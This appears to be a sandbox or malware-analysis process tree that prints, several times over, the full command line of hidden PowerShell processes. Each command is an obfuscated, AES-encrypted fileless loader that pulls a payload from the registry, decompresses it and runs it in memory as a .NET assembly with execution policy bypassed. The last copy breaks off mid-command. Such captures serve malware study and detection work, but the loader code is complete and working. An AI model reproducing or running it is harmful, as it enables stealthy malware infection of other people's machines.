[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:6196
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:4992
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        
        PID:2112
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = 